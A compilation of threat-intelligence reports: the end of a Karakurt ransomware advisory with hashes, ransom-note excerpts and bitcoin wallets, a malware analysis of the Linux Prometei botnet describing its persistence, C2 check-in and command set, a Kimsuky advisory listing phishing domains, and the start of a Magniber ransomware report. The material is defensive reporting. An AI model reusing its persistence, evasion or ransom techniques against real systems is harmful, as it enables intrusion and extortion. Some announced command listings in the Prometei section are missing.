- Ngrok: SSH tunnel application SHA256 - 3e625e20d7f00b6d5121bb0a71cfa61f92d658bcd61af2cf5397e0ae28f4ba56
- DLLs: Mscxxx.dll: SHA1 - c33129a680e907e5f49bcbab4227c0b02e191770
- masquerading: Msuxxx.dll: SHA1 - 030394b7a2642fe962a7705dcc832d2c08d006f5 as legitimate Microsoft binaries to System32
- Msxsl.exe: Legitimate Microsoft Command Line XSL Transformation Utility SHA1 - 8B516E7BE14172E49085C4234C9A53C6EB490A45
- dllhosts.exe: Rclone SHA1 - fdb92fac37232790839163a3cae5f37372db7235
- rclone.conf: Rclone configuration file
- filter.txt: Rclone file extension filter file
- c.bat: UNKNOWN
- 3.bat: UNKNOWN
- Potential malicious document SHA1 - 0E50B289C99A35F4AD884B6A3FFB76DE4B6EBC14
- Potential malicious document SHA1 - 7E654C02E75EC78E8307DBDF95E15529AAAB5DFF
- Malicious text file SHA1 - 4D7F4BB3A23EAB33A3A28473292D44C5965DDC95
- Malicious text file SHA1 - 10326C2B20D278080AA0CA563FC3E454A85BB32F
### Cobalt Strike hashes
- SHA256 - 563BC09180FD4BB601380659E922C3F7198306E0CAEBE99CD1D88CD2C3FD5C1B
- SHA256 - 5E2B2EBF3D57EE58CADA875B8FBCE536EDCBBF59ACC439081635C88789C67ACA
- SHA256 - 712733C12EA3B6B7A1BCC032CC02FD7EC9160F5129D9034BF9248B27EC057BD2
- SHA1 - 86366bb7646dcd1a02700ed4be4272cbff5887af
### Ransom note text sample
1. Here's the deal: We breached your internal network and took control over all of your systems.
2. We analyzed and located each piece of more-or-less important files while spending weeks inside.
3. We exfiltrated anything we wanted (xxx GB including Private & Confidential information, Intellectual Property, Customer Information, and most important Your TRADE SECRETS).
### Ransom note text sample FAQ
- Who the hell are you? The Karakurt Team. Pretty skilled hackers I guess.
### Payment Wallets
- bc1qfp3ym02dx7m94td4rdaxy08cwyhdamefwqk9hp
- bc1qw77uss7stz7y7kkzz7qz9gt7xk7tfet8k30xax
- bc1q8ff3lrudpdkuvm3ehq6e27nczm393q9f4ydlgt
- bc1qenjstexazw07gugftfz76gh9r4zkhhvc9eeh47
- bc1qxfqe0l04cy4qgjx55j4qkkm937yh8sutwhlp4c
- bc1qrtq27tn34pvxaxje4j33g3qzgte0hkwshtq7sq
- bc1q25km8usscsra6w2falmtt7wxyga8tnwd5s870g
- bc1qta70dm5clfcxp4deqycxjf8l3h4uymzg7g6hn5
- bc1qrkcjtdjccpy8t4hcna0v9asyktwyg2fgdmc9al
- bc1q3xgr4z53cdaeyn03luhen24xu556y5spvyspt8
- bc1q6s0k4l8q9wf3p9wrywf92czrxaf9uvscyqp0fu
- bc1qj7aksdmgrnvf4hwjcm5336wg8pcmpegvhzfmhw
- bc1qq427hlxpl7agmvffteflrnasxpu7wznjsu02nc
- bc1qz9a0nyrqstqdlr64qu8jat03jx5smxfultwpm0
- bc1qq9ryhutrprmehapvksmefcr97z2sk3kdycpqtr
- bc1qa5v6amyey48dely2zq0g5c6se2keffvnjqm8ms
- bc1qx9eu6k3yhtve9n6jtnagza8l2509y7uudwe9f6
- bc1qtm6gs5p4nr0y5vugc93wr0vqf2a0q3sjyxw03w
## MITRE ATT&CK TECHNIQUES
Karakurt actors use the ATT&CK techniques listed in table 1.
### Table 1: Karakurt actors ATT&CK techniques for enterprise
#### Reconnaissance
| Technique Title | ID | Use |
|---------------------------------------|-----------|---------------------------------------------------------------------|
| Gather Victim Information: Credentials| T1589.001 | Karakurt actors have purchased stolen login credentials. |
| Gather Victim Information: Email Addresses | T1589.002 | Karakurt actors have purchased stolen login credentials including email addresses. |
| Gather Victim Information: Business Relationships | T1591.002 | Karakurt actors have leveraged victims' relationships with business partners. |
#### Initial Access
| Technique Title | ID | Use |
|---------------------------------------|-----------|---------------------------------------------------------------------|
| Exploit Public-Facing Applications | T1190 | Karakurt actors have exploited the Log4j "Log4Shell" Apache Logging Service vulnerability and vulnerabilities in outdated firewall appliances for gaining access to victims' networks. |
| External Remote Services | T1133 | Karakurt actors have exploited vulnerabilities in outdated VPN appliances for gaining access to victims' networks. |
| Phishing | T1566 | Karakurt actors have used phishing and spearphishing to obtain access to victims' networks. |
| Phishing – Spearphishing Attachment | T1566.001 | Karakurt actors have sent malicious macros as email attachments to gain initial access. |
| Valid Accounts | T1078 | Karakurt actors have purchased stolen credentials, including VPN and RDP credentials, to gain access to victims' networks. |
#### Privilege Escalation
| Technique Title | ID | Use |
|---------------------------------------|-----------|---------------------------------------------------------------------|
| Valid Accounts | T1078 | Karakurt actors have installed Mimikatz to pull plain-text credentials. |
#### Discovery
| Technique Title | ID | Use |
|---------------------------------------|-----------|---------------------------------------------------------------------|
| File and Directory Discovery | T1083 | Karakurt actors have deployed Cobalt Strike beacons to enumerate a network. |
#### Command and Control
| Technique Title | ID | Use |
|---------------------------------------|-----------|---------------------------------------------------------------------|
| Remote Access Software | T1219 | Karakurt actors have used AnyDesk to obtain persistent remote control of victims' systems. |
#### Exfiltration
| Technique Title | ID | Use |
|---------------------------------------|-----------|---------------------------------------------------------------------|
| Exfiltration Over Alternative Protocol | T1048 | Karakurt actors have used FTP services, including Filezilla, to exfiltrate data from victims' networks. |
| Exfiltration Over Web Service: Exfiltration to Cloud Storage | T1567.002 | Karakurt actors have used rclone and Mega.nz to exfiltrate data stolen from victims' networks. |
## MITIGATIONS
- Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud).
- Implement network segmentation and maintain offline backups of data to ensure limited interruption to the organization.
- Regularly back up data and password protect backup copies offline. Ensure copies of critical data are not accessible for modification or deletion from the system where the data resides.
- Install and regularly update antivirus software on all hosts and enable real-time detection.
- Install updates/patch operating systems, software, and firmware as soon as updates/patches are released.
- Review domain controllers, servers, workstations, and active directories for new or unrecognized accounts.
- Audit user accounts with administrative privileges and configure access controls with least privilege in mind. Do not give all users administrative privileges.
- Disable unused ports.
- Consider adding an email banner to emails received from outside your organization.
- Disable hyperlinks in received emails.
- Enforce multi-factor authentication.
- Use National Institute for Standards and Technology (NIST) standards for developing and managing password policies.
- Use longer passwords consisting of at least 8 characters and no more than 64 characters in length.
- Store passwords in hashed format using industry-recognized password managers.
- Add password user “salts” to shared login credentials.
- Avoid reusing passwords.
- Implement multiple failed login attempt account lockouts.
- Disable password “hints”.
- Refrain from requiring password changes more frequently than once per year. Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
- Require administrator credentials to install software.
- Only use secure networks and avoid using public Wi-Fi networks. Consider installing and using a VPN.
- Focus on cybersecurity awareness and training. Regularly provide users with training on information security principles and techniques as well as overall emerging cybersecurity risks and vulnerabilities (i.e., ransomware and phishing scams).
## RESOURCES
- For additional resources related to the prevention and mitigation of ransomware, visit Stopransomware.gov as well as the CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide and NIST’s Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events. Stopransomware.gov is the U.S. government’s one-stop location for resources to tackle ransomware more effectively.
- CISA’s Ransomware Readiness Assessment is a no-cost self-assessment based on a tiered set of practices to help organizations better assess how well they are equipped to defend and recover from a ransomware incident.
- CISA offers a range of no-cost cyber hygiene services to help critical infrastructure organizations assess, identify, and reduce their exposure to threats, including ransomware.
- Financial Institutions must also ensure compliance with any applicable Bank Secrecy Act requirements, including suspicious activity reporting obligations. Indicators of Compromise, such as suspicious email addresses, file names, hashes, domains, and IP addresses, can be provided under Item 44 of the Suspicious Activity Report (SAR) form. For more information on mandatory and voluntary reporting of cyber events via suspicious activity reports (SARs), see FinCEN Advisory FIN-2016-A005, Advisory to Financial Institutions on Cyber Events and Cyber-Enabled Crime, October 25, 2016, and FinCEN Advisory FIN-2021-A004, Advisory on Ransomware and the Use of the Financial System to Facilitate Ransom Payments, November 8, 2021, which updates FinCEN Advisory FIN-2020-A006.
- The U.S. Department of State’s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. See the RFJ website for more information and how to report information securely. |
# IoT Malware Journals: Prometei (Linux)
The IoT Malware Journals series will cover the IoT threat landscape from a technical perspective. For this first article in the series, I will analyze the Linux version of the Prometei malware, which first made headlines in December 2020.
We often find IoT malware that is simply built on the leaked source code of Mirai or Gafgyt. It’s not so typical to find new variants that are unique: either wholly written from scratch or ported from other platforms, such as Windows. Originally, Prometei had been a modular Windows botnet that mined the Monero cryptocurrency. In early December, it was discovered targeting Linux environments for the first time. It’s possible that the original developer(s) were unhappy with the spread of their malware and wanted to take advantage of other platforms. Another theory is that this new Linux variant is the work of a completely different group.
Prometei’s C2 IP and URLs are blocked by the Safe Browsing/IP Reputation feature of CUJO AI Sentry.
## File analysis of the Linux Prometei version
Prometei binaries are all stripped of symbols and debug information, making reverse-engineering a bit harder. No packing was applied to the binaries.
**Magic information:**
- ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.8, stripped
**TrID:**
- ELF Executable and Linkable format (Linux) (4029/14) 49.77%
- ELF Executable and Linkable format (generic) (4004/1) 49.46%
Entropy measures the randomness of a given data set and is used to detect signs of packing, encryption or any sort of compression. ~5.7 is a good indicator that what we have here is a native executable without any packing, but we can also check the plain-text strings to be sure.
**Entropy:** 5.789075219871666
## Prometei execution flow
First, Prometei tries to find out if it can install itself on the system and checks whether a copy of Prometei has been installed on the system previously by looking for Prometei-specific artifacts.
If the logged in user does not have sufficient rights (root), Prometei installs itself in “Usermode” and leaves a crashed.dump file in /home/user, which is the malicious binary itself. It also places a custom, machine-specific identification ID under the filename CommId into the /home/user folder.
If the user has root privileges, the malicious code will install itself system-wide (“Systemmode”):
Then the malware creates a random bot identifier file in /etc/CommId, which has a 16 byte string inside, made up of numbers and capital English letters: /etc/CommId.
**Example IDs:**
- MU2G1NCM0HDF3L2N
- 6214X121I3A61W1S
- 2S53GTBN3H8XTE5J
- 91S3UJ2R3244U300
It uses this identifier during the C2 check-in phase. The Prometei bot identifier is passed along in a GET request via the &i= parameter inside the URL. The purpose of this identifier is to keep track of every unique installation on the botnet.
The program continues by setting up persistence. It places a service file under /lib/systemd/system/uplugplay.service with the following content:
Then, a symlink will be created from /etc/systemd/system/multi-user.target.wants/uplugplay.service to /lib/systemd/system/uplugplay.service. This ensures the binary will be executed upon a restart.
Execution will continue by setting up a scheduled cron job. It is placed into /tmp/task.cron with a reboot command: @reboot means run the following command once after the system reboots.
Then task.cron gets installed via crontab:
As a final step, the malware masquerades itself by copying the binary into the following folder: /usr/sbin/uplugplay and deleting itself from the original execution location.
## Dynamic process tracing
When tracing the execution of Prometei, it executes the following commands:
**Persistence** | **Infection markers** | **Gathering information**
--- | --- | ---
Systemctl daemon-reload | Pgrep promet15 | Cat /proc/cpuinfo
Systemctl enable uplugplay.service | Pgrep uplugplay | Dmidecode –type baseboard
Systemctl start uplugplay.service | Pidof uplugplay | Cat /etc/os-release
Crontab -l | Pgrep upnpsetup | Cat /etc/redhat-release
Crontab task.cron | Pidof upnpsetup | uptime
The commands in the first column are used to set up persistence. Then Prometei checks whether it has already been installed on the system via the pidof and pgrep commands. Moreover, the commands in the third column are responsible for gathering information from the victim host.
## Prometei botnet network traffic analysis
Let us quickly investigate the C2 communication. Every Prometei bot installation gets tracked by a simple check-in activity, which holds a custom, random identifier. Note the old HTTP/1.0 protocol version used.
**C2 check-in activity**
- URI parameters:
- ?r – randomized with each request, integer between 0 and 30, seems to serve no purpose currently
- &i – unique victim identifier, 16-byte string
Once the check-in completes, the controller immediately sends the sysinfo command for execution, and the collected system information gets sent right back to the botnet controller.
**URI parameters:**
- ?add – base64 encoded information that is collected from the system
- &i – unique victim identifier
- &h – hostname
- &enckey – base64 encoded encryption key
The base64 encoded section (?add parameter) translates to:
```
info {
v2.92X_Unix64
ubuntu-analyzer
1x Intel(R) Xeon(R) Silver 4210 CPU @ 2.20GHz
Intel Corporation
440BX Desktop Reference Platform
Ubuntu & 16.04.4 LTS (Xenial Xerus)
/usr/sbin/
14:31:30 up 6 min, 1 user, load average: 0.89, 0.47, 0.22
Linux ubuntu-analyzer 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018
x86_64 x86_64 x86_64 GNU/Linux
}
```
Next, the malware enters a dormant state: listening for instructions from its C2 server. The following list of commands was available in the examined binary:
**Commands** | **Description**
--- | ---
chkport | the msdtc module initiates a port scan on the victim host
debug | debug the victim host for any issues
exec | executes a binary on the system from a path
extip | fetches the external IP address of the victim
quit | exits the listener process
quit2 | exits the listener function but leaves the process on
set_cc | sets a new C2 IP address
start_mining | starts the Monero cryptocurrency miner
stop_mining | stops the Monero cryptocurrency miner
sysinfo | gathers information from the victim machine for exfiltration
touch | creates a file on the victim system
updatev4 | fetches the latest version of the malware
wget | downloads a file from a URL
xwget | downloads a file from a URL with a 1-byte XOR operation
## Prometei traffic routing through proxies and TOR
Prometei has an additional module in which traffic can be routed through TOR or I2P, rather than the conventional HTTP route. These modules go under the name:
- msdtc – Proxy client
- smcard – TOR relay
When Prometei first pulls down these modules, it downloads them via the dwn.php resource:
The malware runs the following commands to check whether the TOR or proxy modules are already running:
The proxy request gets executed in an interesting way: the .onion address is base64 encoded and is called as a parameter to the msdtc module:
Which translates to:
## How Prometei mines cryptocurrency
Prometei can also deploy a cryptocurrency miner in the form of the application XMRig. The process is usually named updatecheckerd.
When the start_mining command is received from the C2 server, it will connect to the following miner server:
## Conclusion
Prometei is another example of how a malicious binary grows on a Linux environment and spreads through the system with persistence. Some features of the Windows version of Prometei were not implemented in Linux, meaning that this is most likely an early development version of the malware, and we may see advancements in its capabilities as time goes on.
It is also unclear whether the same group that developed the malware for Windows is behind the Linux version, and whether the developers are also the ones that distribute this piece of malware. Lately, developer groups have adopted the MaaS (Malware-as-a-service) business model, where they offer malware to be used by others. We may learn more about these aspects of Prometei with future versions of the malware.
**Indicators of Compromise:**
**Binary hashes:**
- SHA256
- 0302c22471c7da7a4cfd9ef3cb1e35decd8670ee0c00f3f4714b2e918008f4bf
- 07cb3e27c8cd53b267ad2f1367735b99d04d3d5b5ecc25d0dedc7856d792eaa2
- 0eefa989b04824ab190c9582b0068ffbb5bd0abd61dd4933d3abe5cf4a91c6c1
- 16c6abaa14874194c407174d2ac9f8a6a41386b0aedeea05227233c86f11c84b
- 2bc860efee229662a3c55dcf6e50d6142b3eec99c606faa1210f24541cad12f5
- 39052040d4a586f287dddbcc653699ce09c77bb6a336a550b5b349b674bbd46e
- 3ba4dfb78c1eff9fcad3d3229cd78fa976203d01e343f878ec6a4f4b6c2837eb
- 417248cd0bf1da8a31c001454d34f3d9a58a7adbc8b5efe287cb0e7d51dd57fc
- 45aeade798eee1893d3e7a4d850b882c0d67c6736c287b64edcb8c3ef1d6fb74
- 46cf75d7440c30cbfd101dd396bb18dc3ea0b9fe475eb80c4545868aab5c578c
- 5588bbb8604a1aebe8a2e8e7767b7655180d27dfc46025198dcf0cfe3aa3e333
- 6a7781b1fa4c3c4a8f25186d145120c1f814f578ae378a30e0250372f38a0dda
- 7e040ebba241e95a93e739826953b8cdedf2035c2dffbf7903b7f04c9c2a1fb7
- 75ea0d099494b0397697d5245ea6f2b5bf8f22bb3c3e6d6d81e736ac0dac9fbc
- 9b4ae19d6de1023fb9d828badaff720d1f4f44268f6d94aa27cf00347dd93e6e
- a3d53930cfe77cb9b72e076958d29258b2751d1c5a9f58a735e0fcc6019e993
- f037eedb09226097e7a95e9cbdcf75196efce754316f9bcbabbff7a7d402fa30
- fb84793c36a8a6b71a6426a0899e567f44206c01f62ab8074204aa37e9307244
- fecd75ddb8ef7ebfeea559bb167e69a3200c1f5b868b5e592e1a5e9f539940dd
- ffc582b02faff5d69943bf1b189b7d57637a87cadef236751c561ae625e928e9
**URLs:**
- hxxp://p1.feefreepool[.]net/cgi-bin/prometei.cgi
- hxxp://dummy[.]zero/cgi-bin/prometei.cgi
- hxxps://gb7ni5rgeexdcncj[.]onion/cgi-bin/prometei.cgi
- hxxp://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32[.]i2p/cgi-bin/prometei.cgi
**IPs:**
- 5.189.171[.]187 | DE
- 88.198.246[.]242 | DE
- 178.21.164[.]68 | IR
**ITW names:**
- msdtc
- msdtc2
- smcard
- smcard2
- updatecheckerd
- uplugplay
- upnpsetup
**Key:**
GtvRsdC7YqIEXKfsICVsKakP-03j9/VleLebEc2bTYGmdiXITbyxwz-PbOtEuMN22r9hwfdHVaojeeMh3gUpa/-FqTFAq/FrwpXySE3lq2z37X3Zmu4jVxSj7xtxLtP-1/Mz/v-fHbhOj9axLYYg7UxUc9ySSyiIaKWC4S2pGRo_
**Config parameters:**
```json
{"config":1,"id":"L8AbF4X6u4pX43A8","enckey":"HlVYYUweX6WMTV5P+JATR+baodBdDQJWwMEFEOYB"}
{"config":1,"id":"WEx0Pps3ZUh598C8","enckey":"A2jscIU2gIo7Te1Ie/q/l4bVCJ/oziW7F5Uf9p8N"}
{"config":1,"id":"gpla9JLFbRSI60gS","enckey":"hYv+Qp9ct9xV70M3s9jU3fWWBOvahJqLs/jm/jgr"}
{"config":1,"id":"505k870uY272Q5E1","enckey":"NCdhTiwuebwkgAYF7/45blF0j+1jMHQEhGuYrRx+"}
{"config":1,"id":"T26eZmbJ2uGqnGfl","enckey":"k8unMw2Q4pfu63Ta8sD79cKg1VNk2XmPg2Szrh32"}
{"config":1,"id":"n2vI4N477vTFBlUk","enckey":"4tzTmtpHMr68+lMXX7RdmFiBzalwdWtmYwDJwd23"}
{"config":1,"id":"P4UsWr3b8Y9jn5oB","enckey":"Ymmbggs2BddRqk+mv0orU1hN/miqtV/dO09e+hEN"}
{"config":1,"id":"K24Teqj1aY4tOJb6","enckey":"JKBcjf3v2qPvIWCSM7cbobeSU7djVyAfSz643RrJ"}
{"config":1,"id":"88E80c47duQxmQl1","enckey":"w790UgOXnL014UAmBMYMNGNSzwS7TsO8aylRy52L"}
{"config":1,"id":"9oS6dQUQGSVQT3Bx","enckey":"XYkzd3GAyMkoxadx5tGOgNmbn7nbyicXMNzuxrNY"}
{"config":1,"id":"0yUhdo2DH6R4L1DS","enckey":"blWV9WpaVO0tLHUuB2Dun1r9EQ0rNitZA1d3SwLo"}
{"config":1,"id":"29GRN59seMW6R9xq","enckey":"F5mGmixSHYDjcbmAJfOmEXB76jhOuJma/mH6rLvv"}
{"config":1,"id":"mO123CwT2U68awpK","enckey":"2Jr3crhwoE/IUN5x3MA7YSahJfWC9l6MmzXGLquw"}
{"config":1,"id":"RJ372033v7RyJCSG","enckey":"6nKA769q5CexBQxyhZdE3LD2IPdGufwt2qjv1kLq"}
```
**Author:** Albert Zsigovits
**Role:** Malware Researcher
**Organization:** CUJO AI Lens |
# North Korean Advanced Persistent Threat Focus: Kimsuky
## Summary
This advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) version 7 framework. This joint cybersecurity advisory was coauthored by the Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), and the U.S. Cyber Command Cyber National Mission Force (CNMF). This advisory describes the tactics, techniques, and procedures (TTPs) used by North Korean advanced persistent threat (APT) group Kimsuky against worldwide targets to gain intelligence on various topics of interest to the North Korean government. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. This advisory describes known Kimsuky TTPs, as found in open-source and intelligence reporting through July 2020. The target audience for this advisory is commercial sector businesses desiring to protect their networks from North Korean APT activity.
## Key Findings
This advisory’s key findings are:
- The Kimsuky APT group has most likely been operating since 2012.
- Kimsuky is most likely tasked by the North Korean regime with a global intelligence gathering mission.
- Kimsuky employs common social engineering tactics, spearphishing, and watering hole attacks to exfiltrate desired information from victims.
- Kimsuky is most likely to use spearphishing to gain initial access into victim hosts or networks.
- Kimsuky conducts its intelligence collection activities against individuals and organizations in South Korea, Japan, and the United States.
- Kimsuky focuses its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.
- Kimsuky specifically targets:
- Individuals identified as experts in various fields,
- Think tanks, and
- South Korean government entities.
- CISA, FBI, and CNMF recommend individuals and organizations within this target profile increase their defenses and adopt a heightened state of awareness. Particularly important mitigations include safeguards against spearphishing, use of multi-factor authentication, and user awareness training.
## Technical Details
### Initial Access
Kimsuky uses various spearphishing and social engineering methods to obtain initial access to victim networks. Spearphishing—with a malicious attachment embedded in the email—is the most observed Kimsuky tactic. The APT group has used web hosting credentials—stolen from victims outside of their usual targets—to host their malicious scripts and tools. Kimsuky likely obtained the credentials from the victims via spearphishing and credential harvesting scripts. On the victim domains, they have created subdomains mimicking legitimate sites and services they are spoofing, such as Google or Yahoo mail. Kimsuky has also sent benign emails to targets, which were possibly intended to build trust in advance of a follow-on email with a malicious attachment or link.
Kimsuky tailors its spearphishing and social engineering approaches to use topics relevant to the target, such as COVID-19, the North Korean nuclear program, or media interviews. Kimsuky’s other methods for obtaining initial access include login-security-alert-themed phishing emails, watering hole attacks, distributing malware through torrent sharing sites, and directing victims to install malicious browser extensions.
### Execution
After obtaining initial access, Kimsuky uses BabyShark malware and PowerShell or the Windows Command Shell for execution. BabyShark is Visual Basic Script (VBS)-based malware. The compromised host system uses the native Microsoft Windows utility, mshta.exe, to download and execute an HTML application (HTA) file from a remote system. The HTA file then downloads, decodes, and executes the encoded BabyShark VBS file. The script maintains persistence by creating a Registry key that runs on startup. It then collects system information, sends it to the operator’s command control (C2) servers, and awaits further commands.
Open-source reporting indicates BabyShark is delivered via an email message containing a link or an attachment. Kimsuky tailors email phishing messages to match its targets’ interests. Observed targets have been U.S. think tanks and the global cryptocurrency industry.
### Persistence
Kimsuky has demonstrated the ability to establish persistence through using malicious browser extensions, modifying system processes, manipulating the autostart execution, using Remote Desktop Protocol (RDP), and changing the default file association for an application. By using these methods, Kimsuky can gain login and password information and/or launch malware outside of some application allowlisting solutions.
Kimsuky may install a new service that can execute at startup by using utilities to interact with services or by directly modifying the Registry keys. During the STOLEN PENCIL operation in May 2018, Kimsuky used the GREASE malware, a tool capable of adding a Windows administrator account and enabling RDP while avoiding firewall rules. Kimsuky uses a document stealer module that changes the default program associated with Hangul Word Processor (HWP) documents in the Registry. Kimsuky maintains access to compromised domains by uploading actor-modified versions of open-source PHP-based web shells.
### Privilege Escalation
Kimsuky uses well-known methods for privilege escalation. These methods include placing scripts in the Startup folder, creating and running new services, changing default file associations, and injecting malicious code in explorer.exe. Kimsuky has used Win7Elevate—an exploit from the Metasploit framework—to bypass the User Account Control to inject malicious code into explorer.exe. This malicious code decrypts its spying library from resources, saves the decrypted file to a disk with a random but hardcoded name in the user’s temporary folder, and loads this file as a library, ensuring the tools are then on the system even after a reboot.
### Defense Evasion
Kimsuky uses well-known and widely available methods for defense evasion within a network. These methods include disabling security tools, deleting files, and using Metasploit. Kimsuky’s malicious DLL runs at startup to zero the Windows firewall Registry keys. Kimsuky has used a keylogger that deletes exfiltrated data on disk after it is transmitted to its C2 server. Kimsuky has used mshta.exe, which can be used for proxy execution of malicious .hta files and JavaScript or VBS through a trusted windows utility.
### Credential Access
Kimsuky uses legitimate tools and network sniffers to harvest credentials from web browsers, files, and keyloggers. Kimsuky uses memory dump programs instead of using well-known malicious software and performs the credential extraction offline. Kimsuky uses ProcDump, a Windows command line administration tool, to create crash dumps/core dumps of processes based upon certain criteria. Kimsuky abuses a Chrome extension to steal passwords and cookies from browsers. Kimsuky also uses a PowerShell based keylogger, named MECHANICAL, and a network sniffing tool, named Nirsoft SniffPass.
### Discovery
Kimsuky enumerates system information and the file structure for victims’ computers and networks. Kimsuky appears to rely on using the victim’s operating system command prompt to enumerate the file structure and system information. The information is directed to C:\WINDOWS\msdatl3.inc, read by malware, and likely emailed to the malware’s command server.
### Collection
Kimsuky collects data from the victim system through its HWP document malware and its keylogger. The HWP document malware changes the default program association in the Registry to open HWP documents. When a user opens an HWP file, the Registry key change triggers the execution of malware that opens the HWP document and then sends a copy of the HWP document to an account under the adversary’s control. The keylogger intercepts keystrokes and writes them to C:\Program Files\Common Files\System\Ole DB\msolui80.inc.
Kimsuky has also used a Mac OS Python implant that gathers data from Mac OS systems and sends it to a C2 server.
### Command and Control
Kimsuky has used a modified TeamViewer client for command and control. During the initial infection, the service “Remote Access Service” is created and adjusted to execute C:\Windows\System32\vcmon.exe at system startup. Every time vcmon.exe is executed, it disables the firewall by zeroing out Registry values. The program then modifies the TeamViewer Registry settings by changing the TeamViewer strings in TeamViewer components.
### Exfiltration
Open-source reporting describes two different methods Kimsuky has used to exfiltrate stolen data: via email or through an RC4 key generated as an MD5 hash or a randomly generated 117-bytes buffer. Kimsuky’s preferred method for sending or receiving exfiltrated information is through email, with their malware on the victim machine encrypting the data before sending it to a C2 server. Kimsuky also sets up auto-forward rules within a victim’s email account.
## Mitigations
### Indicators of Compromise
Kimsuky has used the domains listed in the table below to carry out its objectives:
- login.bignaver[.]com
- nytimes.onekma[.]com
- webuserinfo[.]com
- member.navier.pe[.]hu
- nid.naver.onektx[.]com
- pro-navor[.]com
- cloudnaver[.]com
- read.tongilmoney[.]com
- naver[.]pw
- resetprofile[.]com
- nid.naver.unicrefia[.]com
- daurn[.]org
- servicenidnaver[.]com
- mail.unifsc[.]com
- naver.com[.]de
- account.daurn.pe[.]hu
- member.daum.unikortv[.]com
- ns.onekorea[.]me
- login.daum.unikortv[.]com
- securetymail[.]com
- riaver[.]site
- account.daum.unikortv[.]com
- help-navers[.]com
- mailsnaver[.]com
- daum.unikortv[.]com
- beyondparallel.sslport[.]work
- cloudmail[.]cloud
- member.daum.uniex[.]kr
- comment.poulsen[.]work
- helpnaver[.]com
- jonga[.]ml
- impression.poulsen[.]work
- view-naver[.]com
- myaccounts.gmail.kr
- statement.poulsen[.]work
- view-hanmail[.]net
- infos[.]com
- naver.hol[.]es
- demand.poulsen[.]work
- login.daum.net
- accounts[.]info
- dept-dr.lab.hol[.]es
- sankei.sslport[.]work
- read-hanmail[.]net
- Daurn.pe[.]hu
- sts.desk-top[.]work
- net.tm[.]ro
- Bigfile.pe[.]hu
- hogy.desk-top[.]work
- daum.net[.]pl
- Cdaum.pe[.]hu
- kooo[.]gq
- usernaver[.]com
- eastsea.or[.]kr
- tiosuaking[.]com
- naver.com[.]ec
- myaccount.nkaac[.]net
- help.unikoreas[.]kr
- naver.com[.]mx
- naver.koreagov[.]com
- resultview[.]com
- naver.com[.]se
- naver.onegov[.]com
- account.daum.unikftc[.]kr
- naver.com[.]cm
- member-authorize[.]com
- ww-naver[.]com
- nid.naver.com[.]se
- naver.unibok[.]kr
- vilene.desk-top[.]work
- csnaver[.]com
- nid.naver.unibok[.]kr
- amberalexander.ghtdev[.]com
- nid.naver.email
- read-naver[.]com
- nidnaver[.]net
- cooper[.]center
- dubai-1[.]com
- coinone.co[.]in
- nidlogin.naver.corper[.]be
- amberalexander.ghtdev[.]com
- naver.com[.]pl
- nid.naver.corper[.]be
- gloole[.]net
- naver.com[.]cx
- naverdns[.]co
- smtper[.]org
- smtper[.]cz
- naver.co[.]in
- login.daum.kcrct[.]ml
- myetherwallet.com[.]mx
- downloadman06[.]com
- login.outlook.kcrct[.]ml
- myetherwallet.co[.]in
- loadmanager07[.]com
- top.naver.onekda[.]com
- com-download[.]work
- com-option[.]work
- com-sslnet[.]work
- com-vps[.]work
- com-ssl[.]work
- desk-top[.]work
- intemet[.]work
- jp-ssl[.]work
- org-vip[.]work
- sslport[.]work
- sslserver[.]work
- ssltop[.]work
- taplist[.]work
- vpstop[.]work
- webmain[.]work
- preview.manage.org
- intranet.ohchr.account-view[.]work
## Contact Information
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at [email protected]. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [email protected]. |
# Magniber Ransomware Adopts JavaScript, Targeting Home Users with Fake Software Updates
In recent years, “Big Game Hunting” ransomware attacks against enterprises have dominated media headlines because of their high-profile victims and substantial ransom demands. Yet single-client ransomware – a type of ransomware that infects individual computers, rather than fleets of devices – can still cause significant damage to individuals and organizations. In this article, we share our analysis of a ransomware campaign isolated by HP Wolf Security in September 2022 that targeted home users by masquerading as software updates. The campaign spread Magniber, a single-client ransomware family known to demand $2,500 from victims. Notably, the attackers used clever techniques to evade detection, such as running the ransomware in memory, bypassing User Account Control (UAC) in Windows, and bypassing detection techniques that monitor user-mode hooks by using syscalls instead of standard Windows API libraries.
## Campaign Overview
The infection chain starts with a web download from an attacker-controlled website. The user is asked to download a ZIP file containing a JavaScript file that purports to be an important antivirus or Windows 10 software update.
- SYSTEM.Critical.Upgrade.Win10.0.ba45bd8ee89b1.js
- SYSTEM.Security.Database.Upgrade.Win10.0.jse
- Antivirus_Upgrade_Cloud.29229c7696d2d84.jse
- ALERT.System.Software.Upgrade.392fdad9ebab262cc97f832c40e6ad2c.js
Previously, Magniber was primarily spread through MSI and EXE files, but in September 2022 we started seeing campaigns distributing the ransomware in JavaScript files. The JavaScript files use a variation of the DotNetToJScript technique, enabling the attacker to load a .NET executable in memory, meaning the ransomware does not need to be saved to disk. This technique bypasses detection and prevention tools that monitor files written to disk and reduces artifacts left on an infected system. The .NET code decodes shellcode and injects it into another process. The ransomware code runs from this process – first deleting shadow copy files and disabling Windows’ backup and recovery features, before encrypting the victim’s files.
